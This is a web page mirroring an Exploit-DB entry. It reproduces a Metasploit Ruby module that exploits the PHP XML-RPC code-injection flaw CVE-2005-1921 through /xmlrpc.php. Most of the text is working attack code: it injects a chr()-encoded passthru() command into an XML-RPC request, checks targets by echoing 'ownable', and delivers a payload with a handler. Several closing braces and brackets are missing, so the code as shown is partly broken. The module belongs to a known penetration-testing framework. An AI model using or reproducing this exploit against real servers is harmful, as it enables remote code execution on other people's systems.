XML-RPC Library 1.3.0 – ‘xmlrpc.php’ Arbitrary Code Execution (Metasploit)

Exploit Database
113 阅读

作者： Metasploit

日期： 2010-07-25
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/16882/

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# $Id: php_xmlrpc_eval.rb 9929 2010-07-25 21:37:54Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

# XXX This module needs an overhaul

def initialize(info = {})

super(update_info(info,

'Name' => 'PHP XML-RPC Arbitrary Code Execution',

'Description'=> %q{

This module exploits an arbitrary code execution flaw

discovered in many implementations of the PHP XML-RPC module.

This flaw is exploitable through a number of PHP web

applications, including but not limited to Drupal, WordPress,

Postnuke, and TikiWiki.

'Author' => [ 'hdm', 'cazz' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9929 $',

'References' =>

[

['CVE', '2005-1921'],

['OSVDB', '17793'],

['BID', '14088'],

'Privileged' => false,

'Platform' => ['unix', 'solaris'],

'Payload'=> {

'Space' => 512,

'DisableNops' => true,

'Keys'=> ['cmd', 'cmd_bash'],

'Targets'=> [ ['Automatic', { }], ],

'DefaultTarget' => 0,

'DisclosureDate' => 'Jun 29 2005'

))

register_options(

[

OptString.new('PATH', [ true,"Path to xmlrpc.php", '/xmlrpc.php']),

], self.class)

deregister_options(

'HTTP::junk_params', # not your typical POST, so don't inject params.

'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.

)

end

def go(command)

encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')

wrapper = rand_text_alphanumeric(rand(128)+32)

cmd = "echo('#{wrapper}'); passthru(#{ encoded }); echo('#{wrapper}');;"

xml =

'<?xml version="1.0"?>' +

"<methodCall>" +

"<methodName>"+ rand_text_alphanumeric(rand(128)+32) + "</methodName>" +

"<params><param>" +

"<name>" + rand_text_alphanumeric(rand(128)+32) + "');#{cmd}//</name>" +

"<value>" + rand_text_alphanumeric(rand(128)+32) + "</value>" +

"</param></params>" +

"</methodCall>";

res = send_request_cgi({

'uri'=> datastore['PATH'],

'method' => 'POST',

'ctype'=> 'application/xml',

'data' => xml,

}, 5)

if (res and res.body)

b = /#{wrapper}(.*)#{wrapper}/sm.match(res.body)

if b

return b.captures[0]

elsif datastore['HTTP::chunked'] == true

b = /chunked Transfer-Encoding forbidden/.match(res.body)

if b

raise RuntimeError, 'Target PHP installation does not support chunked encoding.Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.'

end

return nil

end

def check

response = go("echo ownable")

if (!response.nil? and response =~ /ownable/sm)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

response = go(payload.encoded)

if response == nil

print_error('exploit failed: no response')

else

if response.length == 0

print_status('exploit successful')

else

print_status("Command returned #{response}")

end

handler

end